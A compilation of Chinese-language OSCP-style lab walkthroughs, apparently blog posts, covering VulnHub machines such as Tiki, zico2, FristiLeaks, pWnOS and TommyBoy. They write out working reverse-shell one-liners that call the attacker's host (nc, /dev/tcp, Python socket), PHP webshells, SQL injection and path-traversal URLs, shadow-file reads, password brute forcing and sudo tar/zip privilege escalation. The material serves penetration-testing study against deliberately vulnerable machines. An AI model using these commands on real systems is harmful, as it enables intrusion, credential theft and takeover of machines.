Tiki提权靶机渗透 【OSCP】Tiki提权靶机渗透下载链接：https://www.vulnhub.com/entry/tiki_1,525/做题一定要先看题目，提示我们有一个CVE漏洞哦，不，我们的网络服务器被入侵了。攻击者使用的是Oday，所以我们不知道他是如何进入管理面板的。调查。 这是一个OSCP准备盒，是基于我最近发现的一个CVE。它在OSCP实验室机器级别。 如果你需要提示联系我在Twitter上：S1lky_1337，应该在VirtualBox和Vmware上工作。arp-scan -l 主机发现和端口扫描访问80端口直接上信息收集插件Wappalyzer内容管理系统漏洞检索，但是不清楚版本信息查看源代码直接搜索相关的版本关键字（没有什么东西）再找找和官网url相关的信息（有些cms应用在跳转链接的时候呢会加上版本信息）目录扫描出来一个文件，泄露了版本信息dirsearch -u http://10.10.10.196/tiki那么直接返回来看漏洞信息，选择那个21版本的searchsploit -m 48927告诉我们管理员密码被删除，使用BurpSuite可以直接登录成功，那么它的登录框在哪呢Admin Password got removed. Use BurpSuite to login into admin without a password从目录扫描的结果中可以看到，但是没有权限后面又看了看主页。。。尝试登录的时候我们要把pass删除再发送请求，这样就能直接登录成功（漏洞脚本提示），也可以直接用BurpSuite，原理都是一样的这儿有一个文件上传上传一句话木马这个能看到页面源码尝试连接，失败查看所有修改过的页面有一对账号密码silky:Agy8Y7SPJNXQzqAssh登录成功有了密码直接sudo，发现所有文件都能sudo，那么sudo -i至此提权成功！往期推荐红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎！媲美DeepSeek，附源码【OSCP】Tr0ll 靶机全系列（1-3），FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细

tar、zip命令提权—zico2 【OSCP】tar、zip命令提权—zico2本次靶机为zico2，OSCP类型的主要利用的是tar命令和zip命令的提权下载链接：https://download.vulnhub.com/zico/zico2.ova主机发现 && 80探测nmap全端口扫描dirb目录扫描标题包含的版本信息漏洞检索，此版本有一个远程命令执行漏洞查看内容根据提示来输入admin密码后，进入后台编写一个poc.php记好了这个“数据库”（一句话木马的php文件）的绝对路径 /usr/databases/poc.php填写名称和字段数写好我们的payload <?php @eval($_POST[cmd])?>看到提示说明我们创建成功了github上是让我们复制一个文件到根目录就可以了，但是我们没有命令执行继续信息收集，一句话木马已经上传成功了点着点着也就发现这个可能存在漏洞点这个，不就是文件包含嘛，试试普通的文件包含，利用成功有了文件包含，还有我们的脚本文件的路径，那么就有思路了，包含我们的“数据库”/usr/databases/poc.phpkali开启监听，准备反弹shell反弹shell（其他的都不行）rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.111.128 6666 >/tmp/f成功创建交互式终端python -c "import pty; pty.spawn('/bin/bash');"内网信息收集，低版本的ubuntu系统，首先想到的就是内核提权漏洞检索提权失败继续信息收集joomla内容管理系统的配置文件中，FBVtggIk5lAzEU9H，利用su切换zico用户，失败wordpress内容管理系统的配置文件，切换用户成功有了密码，就可以利用sudo了，可以看到这个用户是可以利用sudo进行提权的，要用到tar命令或者zip找找suid文件那么就利用tar命令提权了 sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shzip+sudo提权TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #'往期推荐【OSCP】靶机-election【OSCP】sudo的上级目录提权，靶机SkyTower【OSCP】稀有靶机-Readme【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】Tr0ll 靶机全系列（1-3），FTP被玩坏了【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！

FristiLeaks1.3-提权靶机渗透 清者自清链接：https://www.vulnhub.com/entry/fristileaks-13,133/作者：Ar0xA难度：中等主机发现，以及快速的80探测全端口syn扫描nmap -sS 192.168.111.153 -T4 -p- -A爬虫协议这个界面似曾相识啊，就是上面那些url，一个路径下面有一个图片，这不就是Tr0ll系列的内容嘛？那个FTP匿名登录的。这张图告诉我们说，This is not the url，不是这个url，貌似是想要我们找URL信息分析源码，从这个图片标签中，就能分析出网站根目录中都对应着一个图片查看这个图片的上级目录，没有利用信息首页源码wappalyzer信息那么只剩下首页那几个大字了找到上面那张图的最后一个单词，fristi打靶机的时候，一定要第一时间查看源码！这里有一个base64编码信息这里可以看到是一个png的文件头，说明是一个png文件将他重定向为一个png文件密码信息KeKkeKKeKKeKkEkkEk，但是没有用户啊继续查看源码，eezeepz此时得到了账号密码登录成功让我们选择一个图片文件随意上传，Only allowed are: png,jpg,gif，限制了png，jpg，gif格式抓包改格式，还是上传失败的看这里，有一个apache中间件利用这个apache中间件的解析漏洞，他不是一个编号漏洞，而是配置不当，具体描述如下访问成功连接即可反弹shell/bin/bash -i >& /dev/tcp/192.168.111.128/6666 0>&1创建一个交互式终端python -c 'import pty; pty.spawn("/bin/bash")'从当前网站根目录开始信息收集，既然涉及到了登录，那么大概率用到了数据库，检查一下checklogin.php账号密码：eezeepz / 4ll3maal12#目前也就只有这一条信息eezeepz 用户存在，使用数据库的密码尝试登录，失败了其他信息收集bash-4.1$ uname -a Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux bash-4.1$ lsb_release lsb_release bash: lsb_release: command not found bash-4.1$ cat /etc/os-release cat /etc/os-release cat: /etc/os-release: No such file or directory bash-4.1$ find / -perm -4000 -print 2>/dev/null find / -perm -4000 -print 2>/dev/null /bin/mount /bin/fusermount /bin/umount /bin/su /bin/ping /bin/ping6 /sbin/pam_timestamp_check /sbin/unix_chkpwd /usr/bin/crontab /usr/bin/chsh /usr/bin/sudo /usr/bin/chfn /usr/bin/newgrp /usr/bin/chage /usr/bin/gpasswd /usr/bin/passwd /usr/libexec/openssh/ssh-keysign /usr/libexec/pt_chown /usr/sbin/suexec /usr/sbin/usernetctl直到回家的路上，看到一个jerry写的txt文件，似乎是让我们清理掉eezeepz的homehey eezeepz your homedir is a mess, go clean it up, just dont delete the important stuff. -jerry很多的命令，但是有也包含了一个txt文件查看内容意思大致就是说，需要将 /usr/bin/* 目录下的文件夹中复制到我home下面，来自/home/admin/下面这段话，应该是说让我们建立一个计划任务，每分钟以我的用户（admin）进行运行根据上面的提示，让我们放入一个runthis文件，而这个文件，类似/etc/crontab（计划任务）文件，在这里是以admin用户定时执行任务，所以我们的思路是可以利用这个漏洞拿到admin的shell开启一个微型的http服务python -m http.serverTips ：wget的时候，不添加http等关键字也可以wget 192.168.111.128:8000/py_shell_release.py方法一：echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > runthis这个时候也能直接查看admin目录下面的文件信息了，越权成功方法二：echo '/usr/bin/python /tmp/py_shell_release.py' > runthis此时就可以直接断开连接了，然后nc监听就行（耐心等待一会儿），反弹成功，获取到admin用户的权限创建交互式终端，查看这两个txt文件python -c 'import pty; pty.spawn("/bin/bash")'不清楚上面是什么加密的话，可以查看当前目录下面的一个py文件，包含了这个加密的信息，通过这些代码，就可以写出解码的代码解码的代码参考import base64,codecs,sys def decodeString(str): base64string= codecs.decode(str,'rot13') return base64.b64decode(base64string[::-1]) cryptoResult=decodeString(sys.argv[1]) print cryptoResult第一个结果：LetThereBeFristi!第二个结果：thisisalsopw123切换一个用户看看，成功一个去到当前用户的根目录，~，有一个suid文件sudo -l 也是这个文件，有了suid还能sudo不知道文件怎么用？history，继续信息收集发现能够以root身份执行命令 sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash那么使用 /bin/bash 试试，提权成功。如果/bin/bash不成功，还可以试试反弹shell往期推荐【oscp】WEBDEVELOPER，tcpdump提权【oscp】tar、zip命令提权—zico2【oscp】稀有靶机-Readme【oscp】Hackme【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【oscp】Node

pWnOS系列全教程，Webmin文件披露，Simple PHP Blog渗透教程 pWnOS系列全教程，Webmin文件披露，Simple PHP Blog渗透教程pWnOS1.0打靶思路下载链接见：https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip注意一定要选择这个 “我已移动该虚拟机” ，否则扫描不到靶机。网络模式为nat，开机后使用主机发现命令arp-scan -l端口扫描，端口扫描的内容如下总共有两个http服务，一个是10000端口（注意这里如果登录错误太多了话，会导致你的ip封禁）一个是80端口，点击next我们一路下一步被嘲讽了嘲讽页面的sql注入（像xss，文件包含都试试）http://10.10.10.129/index2.php?name=admin%27%20and%201=1%20--+&level=sk1ll3d+n00b%27%20and%201=1%20--+&submit=Please+Help%21 # sql http://10.10.10.129/index2.php?name=../../../../../../../../etc/passwd&level=../../../../../etc/passwd&submit=../../../../etc/passwd # 文件包含经过一番测试后，发现一个文件包含点http://10.10.10.129/index1.php?help=true&connect=/etc/passwd/etc/shadow 密码文件有了文件包含，但是没有文件上传点，不能通过文件包含图片马的方式获取shell，转换思路，分析/etc/passwd文件，他有四个用户curl 'http://10.10.10.129/index1.php?help=true&connect=/etc/passwd'目录扫描出来一个php文件夹，包含了phpmyadmin站点目录，但是需要进行401认证，弱口令admin/admin，root/root登录失败，那么切换这四个用户试试呢vmware obama osama yomama很遗憾都失败了，我点击了取消，这里出现了指纹信息，phpMyAdmin 2.6.3-pl1上exp可以看到这是一个跨站脚本的漏洞对于我们获取shell用处不是很大，继续切换思路，放眼到10000端口，可以试试之前的用户名（都失败）那么就上exp，Webmin，那么如何选择这些内容呢尽量不选择Metasploit的利用方式，据红队笔记大佬说，Metasploit好比一个黑盒，我们看不到执行的过程，不利于学习渗透（OSCP考试也限制使用msf）。其次需要认证Authenticated的漏洞我们也不选，因为此时我们都不知道如何登录Webmin。CSRF的漏洞优先级较低，也先不考虑，我们需要优先考虑能直接获取 shell 的漏洞。所以有用的脚本可能如下，命令执行的有三个 705、746、47293，文件披露（任意文件泄露）的有两个1997、2017文件披露的1997（不行）、2017可以根据提示，得出命令如下，读出/etc/shadow密码文件perl 2017.pl 10.10.10.129 10000 /etc/shadow http用户vmware密码h4ckm3，其他几个都失败由于靶机那边出了点问题，不能让我ssh连接了（源wp是可以的，应该是ssh版本太新了，windows和kali都不行，连不上）这里我就想了个办法，只能用nc反弹了（登录原来的系统）nc 10.10.10.128 6666 -e /bin/bash切换上级目录，可以看到不是交互式终端创建交互式终端python -c 'import pty; pty.spawn("/bin/bash");'系统信息收集，是ubuntu非常老的版本了7.10看看有没有内核提权（没有）sudo -l ，很遗憾了，这个用户好可怜，用不了sudo，和我们一样都是打工仔uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息计划任务，没有一个普通用户能用的，打工仔已经坐不住了回到刚刚读取到的shadow文件，既然能读取shadow文件，那么一定是以root的身份读取这个文件的，如果我们上传一个可执行的脚本呢？利用prel语言来读取并执行这个文件。之所以要将后缀名改为.cgi，我的理解是要将perl语言的代码改写为执行文件，如果不修改后缀名的话，用2017.pl的exp只能以root权限读取shell.pl，而无法执行shell.pl，也就无法反弹shell。cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgiWebmin 的可执行文件后缀 无后缀：Webmin 的主可执行文件通常是一个没有后缀的脚本文件，例如 Webmin。 .cgi 后缀：Webmin 使用 CGI 脚本来处理 Web 请求，这些脚本文件通常以 .cgi 为后缀。例如， /usr/share/Webmin/ 目录下的许多文件都是 .cgi 文件。 .pl 后缀：Webmin 的某些脚本文件可能以 .pl 为后缀，表示它们是 Perl 脚本。例如，/etc/Webmin/ 目录下的配置文件和脚本文件可能包含 .pl 后缀。 修改这个可执行文件靶机下载后将文件赋予执行权限which wget wget 10.10.10.128:443/shell.cgi chmod +x shell.cgi继续利用脚本perl 2017.pl 10.10.10.129 10000 /tmp/shell.cgi http反弹成功pWnOS2.0打靶思路下载链接见：https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip下载之后用VMware打开，特别注意，这个靶机的ip是固定的10.10.10.100，我们需要将靶机设置为NAT模式，同时要将攻击机kali的ip也处于10.10.10.0/24这个网段，具体在菜单栏的编辑——虚拟网络编辑器，如下，点击更改设置，保证虚拟机的子网ip是10.10.10.0即可（否则可能扫不到靶机的ip）。主机发现全端口syn扫描访问80端口目录扫描有一个info.php，找到文件/blog/config/这里有两个文件第一个文件内容No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|email@myblog.com||||||1||密码文件内容，是一个md5(Unix)类型的加密$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/返回到主页，测试sql注入sql语句报错，存在sql注入漏洞那么就万能密码，成功登录页面只有一个Welcome admin@isints.com，一个邮箱信息，admin' || 1=1 -- +Powered by Simple PHP Blog 0.4.0 cms的版本指纹信息框中的这第四个有一个msf的exp，远程命令执行（Remote Command Execution），符合条件的只有后面两个他是说这个系统中有三个漏洞，第一个是暴露了 password.txt ，刚开始我们目录扫描的时候已经扫描出来了，第二个在登录用户的图像上传，没有身份验证，上传任意的文件，第三个漏洞是博客评论可以任意删除。看样子是需要我们登录进去了，还有一个exp没有用上插叙：如果出现运行报错Can't locate Switch.pm in @INC，应该是perl版本依赖未安装的问题，运行如下命令即可。sudo apt install libswitch-perl根据他的提示，我们利用 -e 参数，指定好第一个文件上传的选项 1，这里提示我们在网站的images下面创建了一个cmd.php文件访问即可利用python反弹shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'这里就不需要创建交互式终端了，这里使用python反弹的shell，默认已经可以交互式了。系统信息收集，属于低版本的ubuntu，首先考虑的是内核提权继续信息收集，返回上级目录，看到一个mysqli_connect.php文件，可以看到mysql的密码信息user : root pass : goodday鉴权失败返回home看到有一个用户，用刚刚的mysql密码登录试试，鉴权失败文件权限信息收集find / -perm 777 -type f 2>/dev/null # 777文件 find / -perm -4000 -print 2>/dev/null # SUID文件sudo -l 意外的发现，www-data用户能够使用sudo，但是不知道密码经过一番折腾后，在var目录下面又找到了一个数据库连接的文件密码为 root@ISIntS又是一个密码信息，大概率是dan用户的admin@isints.com鉴权失败目前已知三个密码信息（其中一个是邮箱）admin@isints.com # 数据表中dan的邮箱 root@ISIntS # 数据库密码 goodday # 假的数据库密码回到刚刚的内核提权，尝试一下已关机。。。。利用失败靶机提权主要是利用已知的所有密码信息，进行密码碰撞，利用数据库连接的密码，切换root用户来进行提权也可以使用第二种方法（考试只能使用一次），msf（不清楚什么原因，漏洞利用成功，建立会话失败，是利用失败的，可以自行尝试）msfconsole search Simple PHP Blog 0.4.0 set rhosts 10.10.10.100 set URI blog set payload php/meterpreter/reverse_tcp run往期推荐网络安全从业者生存指南（硬货篇）【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！Viper一个互联网攻击面管理，红队模拟平台【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】Tr0ll 靶机全系列（1-3），FTP被玩坏了ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略

超长攻击链vulhub靶机，TommyBoy1dot0 【oscp】超长攻击链vulhub靶机，TommyBoy1dot0靶机描述： 圣施耐克！汤米男孩需要您的帮助！ 卡拉汉汽车公司终于进入了现代技术领域，并建立了一个Web服务器供其客户订购刹车片。 不幸的是，该站点刚刚瘫痪，唯一拥有管理员凭据的人是Tom Callahan Sr.-他刚刚去世！更糟糕的是，唯一一个了解服务器的人退出了！ 您需要帮助Tom Jr.，Richard和Michelle再次恢复该网页。否则，卡拉汉汽车公司肯定会倒闭：-( ----谷歌翻译 目标：找到六个flag下载地址：https://www.vulnhub.com/entry/tommy-boy-1,157/主机发现arp-scan -l端口扫描（SYN），对应的服务端口为22，80，8080（服务阻止了我们访问，KEEP OUT，应该是内网才能访问的）nmap -sS 192.168.209.144 -p- -A -T4访问80端口目录扫描到的robots.txt文件前三个都是图片第四个是flag.txt，第一个flag找到了，B34rcl4ws找了很多地方都没有突破口了，看来只能从首页的源码找突破口了Nick的评论：备份副本在Big Tom的家目录中。 Richard的评论：你能也给我访问权限吗？只有Big Tom有密码。 Nick的评论：是的是的，我的处理器一次只能处理一个命令。 Richard的评论：请啦，我会好好请求的。 Nick的评论：我会给你设置管理员权限如果你告诉Tom不要再把重要信息存储在公司博客里。 Richard的评论：成交。公司博客地址是什么？ Nick的评论：真的假的？你们这些家伙真是没救了。我们把它藏在一个以你们和Tom Jr.大打出手后注意到的地方命名的文件夹里。你知道的，就是你用木板砸他脑袋的那个地方。如果你不记得了，地址在这里：https://www.youtube.com/watch?v=VUxOd4CszJ8 Richard的评论：啊！我怎么忘了呢？谢谢。可以看到标题Hey Prehistoric Forest访问试试，数据库连接错误，一般目录不会存在空格，所以我们尝试 /PrehistoricForest /Prehistoricforest /prehistoricForest/prehistoricforest 四种写法，因为Linux是严格遵循大小写的，结果发现 /prehistoricforest 目录存在内容！而且是wordpress站点发现可能存在的用户6个，利用wpscan枚举用户信息，并利用msf中的top1024密码字典进行后台爆破wpscan --url http://10.10.10.192/prehistoricforest -e u -P /usr/share/wordlists/metasploit/burnett_top_1024.txttommy richard tom Tom Jr. Big Tom michelle密码没有找到嘞，giao，继续信息收集，wordpress版本为4.5.3版本漏洞检索（没有结果）那么只能手工注入了，SQL注入测试返回看第一篇文章，他说把站点目录切换到 /richard这下面有一个开车的少年下载下来后利用strings分析，包含了一段“xml”信息，有一个类似md5加密的密文识别这个hash，可以看到就是md5拿去解密https://www.somd5.com/，密码为：spanky第二篇文章，需要我们输入密码，我们试试刚刚解出来的 spanky密码正确的看到下面这一段话都总结一下吧1、只有tom（大汤姆）有登录的密码2、有一个 callahanbak.bak 的备份文件，需要你将其重命名为index.html3、有一个ftp服务，放在一个大多数扫描器都扫不到的端口上，每过15分钟上线4、nick重置了它的账号为，nickburns再翻一翻，到最后一篇文章的评论，有一个thisisthesecondflagyayyou.txt访问得到第二个flag，Z4l1nsky8008端口，有一个密匙nick的超级密匙sup3rl33t耐心等待一会儿，出现了一个65534端口目前已知的密码，就是刚刚的md5还有8008的密匙，还有flag，每个都尝试一下，发现密码是同样用户名一样的，都是nick重置后的用户名将这个readme下载下来get readme.txt大致就是告诉我们服务器上有一个子文件夹NickIzL33t，还有一个encrypted.zip文件他还说要通过手机访问，那么是不是要添加一个ua头呢？打开hackbar添加ua头（iphone）如下Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default需要利用html后缀来攻破这个壁垒，利用目录扫描工具dirb和dirsearch，均没有任何东西dirb http://10.10.10.192:8008/NickIzL33t/ -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' dirsearch -u http://10.10.10.192:8008/NickIzL33t -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'那么就利用wfuzz模糊测试工具，指定一个小型的字典以 fall 开头的字典，节省时间，实际情况我们是不清楚这个是以 fall 开头的cat /usr/share/wordlists/rockyou.txt| grep fall > small_rockyou.txt wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS........... .8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' --sc 200成功扫描出来了一个html第一个链接第二个链接，找到第三个flag，TinyHead第三个链接是一个zip文件，看样子需要我们根据第一个链接的提示猜测密码原文翻译如下大汤姆，你的密码库是用（是的，你猜对了）密码保护的！ 因为你选择了像“passwordi23”和“brakepad”这样愚蠢的密码，我强制要求你使用新的密码。 13个字符，宝贝！ MUAHAHAHAHAH ! ! 你的密码是 你妻子的昵称“bev”（注意全是小写的）加上以下内容： 一个大写字符, 两个数字, 两个小写字符, 一个符号 Tommy Boy 在剧院上映的年份 是的，胖子，要按的键很多，但要确保你把它们都打在一个大块上，好吗？ 嘿，“大块”。 大块输入大块。 这是有趣的。固定的信息找到了两个，devxxxxxx1995那么使用kali下载下来（记得添加ua头）wget http://10.10.10.192:8008/NickIzL33t/t0msp4ssw0rdz.zip --header='User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'接下来利用已知的密码信息，来生成密码字典crunch 13 13 -t bev,%%@@^1995 > pass.txt命令解释：13 13 : 表示生成13个字符，如果是 7 13那么就代表从7位数开始生成，一直生成到13位数完，也就是（7-13个字符）-t : template的缩写，表示使用模板（模式）来生成密码。bev,%%@@^1995 : 模板字符串含义如下 , 表示包含任意一个大写字母（A-Z） % 表示包含任意一个数字（0-9） ^ 表示特殊字符 @ 表示任意的小写字母（a-z） 查看具体代表的字符，可以这样使用，只是用一个符号来利用crunch 1 1 -t , # 输出结果 A B C D … … Y Z并利用这个字典进行爆破fcrackzip -D -p pass.txt -u t0msp4ssw0rdz.zip找到了zip的密码 bevH00tr$1995unzip t0msp4ssw0rdz.zip cat passwords.txt这里有三个用户和密码信息（ssh鉴权失败），只能从网页上走了，但是3个用户都是失败的BigTommyC : money TomC : wedding bigtommysenior : fatguyinalittlecoat那么对密码字典进行一下赛选吧，那么多的大汤姆，就以tom进行赛选cat /usr/share/wordlists/rockyou.txt| grep tom > tom_rockyou.txt wpscan --url http://10.10.10.192/prehistoricforest -e u -P tom_rockyou.txt此时就爆破成功了一个密码tom / tomtom1，登录进去就行了这里有人告诉我们后门遗忘的数字是 1938!! 所以我们将字符拼接到上面密码上，得到账号密码我们利用这个新的到的账号密码再次尝试ssh登入用户：bigtommysenior 密码：fatguyinalittlecoat1938!!登录成功了，找到第四个flag，EditButton，并且提示我们第五个flag在 /5.txt中www-data用户，那么思路就是要么直接提权到root用户，要么直接切换到www-data用户，再就是直接在网站中写入一个php马系统信息收集，看看能不能直接内核提权其他的一些信息收集uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息 ps -aux | grep mysql # 查看mysql是否在后台运行 netstat -tuln # 查看端口信息当前目录下有一个zip文件需要我们解密，看向旁边有一个callahanbak.bak文件，这个不就是文章中所说的备份文件嘛，需要让我们修改成index.html就可以恢复正常貌似没什么东西啊转过来网站的配置文件，看到账号密码信息wordpressuser CaptainLimpWrist!!!四个账号密码信息richard : $P$BzW7ZDwxd7THv1D4rTANjGGgzV0XK9/ tommy : $P$BCcKbJIQtLuiBOybaQPkkfe1yYJRkn. michelle : $P$BIEfXY1Li5aYTokSsi7pBgh0FTlO6k/ tom : $P$BmXAz/a8CaPZDNTraFb/g6kZeTpijK. # 全部解密失败，得不到明文信息了没有利用的了，这个时候看看能不能在网站目录下面写一个木马了find / -name 'NickIzL33t' 2>/dev/null cd /var/thatsg0nnaleaveamark/NickIzL33t看到这个目录下面有一个当前用户可以写的目录写入一句话木马cd uploads/ echo "<?php @eval($_GET[pass]);?>" > cmd.php # 之后你可能会发现站点报内部错误，大概率是php禁用了eval函数 # 替换system就可以了 echo "<?php system($_GET[pass]);?>" > cmd.php下载这个内容.5.txt文件，找到第五个flag ：Buttcrack，最后一句话是说，对着所有的flag进行操作组合，即可解开loot.zip文件wget 'http://10.10.10.192:8008/NickIzL33t/P4TCH_4D4MS/uploads/cmd.php?pass=cat%20/.5.txt' --header="User-Agent:Mozilla/5.0 (iPhone; CPU iP hone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default" root@kali:/data/exp/demo# cat 'cmd.php?pass=cat %2F.5.txt' FIFTH FLAG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! YOU DID IT!!!!!!!!!!!!!!!!!!!!!!!!!!!! OH RICHARD DON'T RUN AWAY FROM YOUR FEELINGS!!!!!!!! Flag data: Buttcrack Ok, so NOW what you do is take the flag data from each flag and blob it into one big chunk. So for example, if flag 1 data was "hi" and flag 2 data was "there" and flag 3 data was "you" you would create this blob: hithereyou Do this for ALL the flags sequentially, and this password will open the loot.zip in Big Tom's folder and you can call the box PWNED.第一个flag：B34rcl4ws第二个flag：Z4l1nsky第三个flag：TinyHead第四个flag：EditButton第五个flag：Buttcrack组合：B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack，这个时候就能找到最后一个内容flag啦（并没有提权奥，目标就是找到6个flag）至此已经全部做完啦，oscp+认证之路，我们会一直陪着您，加油！思路总结1、通过端口扫描出来的信息，发现22和80还有8008端口的服务，其中80和8008端口是http服务，可以通过网页访问2、然后通过80端口目录扫描出来的robots.txt文件，找到第一个flag3、通过访问页面的源码和提示信息，开魔法访问网站，有一个标题，或者评论区找到信息，进行拼凑名称，最终发现一个prehistoricforest目录，这个目录呢是一个wordpress站点4、通过阅读wordpress站点的文章，找到第二个flag，获取一个压缩文件，并且会告诉你这个压缩文件的一些密码提示5、通过这些提示，用密码生成工具crunch生成可能的用户密码，进行爆破，找到第3个flag6、第四个flag需要使用wpscan对wordpress站点进行爆破和用户枚举，登录到后台后，就能获得遗漏的密码提示（缺少的后缀信息），然后就能登录ssh获取第4个flag7、第五个flag在第四个flag的提示中，在系统的根目录下面有一个.5.txt隐藏的txt文件，会发现他是www-data用户8、通过对数据库密码进行一系列的猜测，最后发现一个uploads文件夹当前低权限用户可以写文件，此时写入一句话木马，并且这个一句话木马不能包含@eval，否则会内部错误，你访问不了网站，写入这个一句话马后就能获取到第五个flag9、根据第五个flag的提示，将五个flag组合就是当前用户下的那个zip文件的密码，解压后，获取到最终flag。往期推荐【oscp】pWnOS系列全教程，Webmin文件披露，Simple PHP Blog渗透教程【oscp】SickOS系列全教程【oscp】tar、zip命令提权—zico2【RCE剖析】从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结渗透测试中新手必练的15个靶场从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练